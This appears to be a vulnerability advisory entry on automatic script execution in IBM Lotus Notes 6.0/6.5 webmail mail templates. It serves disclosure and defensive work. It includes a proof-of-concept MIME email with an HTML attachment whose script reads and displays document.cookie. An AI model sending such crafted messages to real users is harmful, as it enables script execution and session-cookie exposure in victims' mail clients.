IBM Lotus Domino Notes 6.0/6.5 Mail Template Automatic Script Execution Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

IBM Lotus Domino Notes 6.0/6.5 Mail Template Vulnerabilit


                                                source: http://www.securityfocus.com/bid/14164/info

IBM Lotus Notes email client is prone to an input validation vulnerability. Reports indicate that HTML and JavaScript attached to received email messages is executed automatically when the email message is viewed. Specifically, users accessing standard Notes mail templates through a Web mail client are affected.

This vulnerability may be leveraged by a remote attacker to automatically execute arbitrary script code in the context of a target user. 

Content-Transfer-Encoding: 8bit
Content-Type: multipart/mixed; boundary=&#34;0-1940165274-1120658611=:34349&#34;

--0-1940165274-1120658611=:34349
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Id:
Content-Transfer-Encoding: quoted-printable

read it


                 =09
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=20

--0-1940165274-1120658611=:34349
Content-Type: text/html; name=&#34;malxxx.html&#34;
Content-Disposition: inline; filename=&#34;malxxx.html&#34;
Content-Description: 268262132-malxxx.html

&#60;!DOCTYPE HTML PUBLIC &#34;-//W3C//DTD HTML 4.0 Transitional//EN&#34;&#62;
&#60;HTML&#62;&#60;HEAD&#62;
&#60;title&#62;Test XSS of uploaded documents&#60;/title&#62;
&#60;META http-equiv=Content-Type content=&#34;text/html; charset=iso-8859-1&#34;&#62;
&#60;/HEAD&#62;
&#60;BODY&#62;
&#60;SCRIPT&#62;
document.write(&#39;The cookie is:&#60;br&#62; &#39; + document.cookie + &#39;&#60;p&#62;&#39;);
&#60;/SCRIPT&#62;
 &#60;/BODY&#62;&#60;/HTML&#62;

--0-1940165274-1120658611=:34349--

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1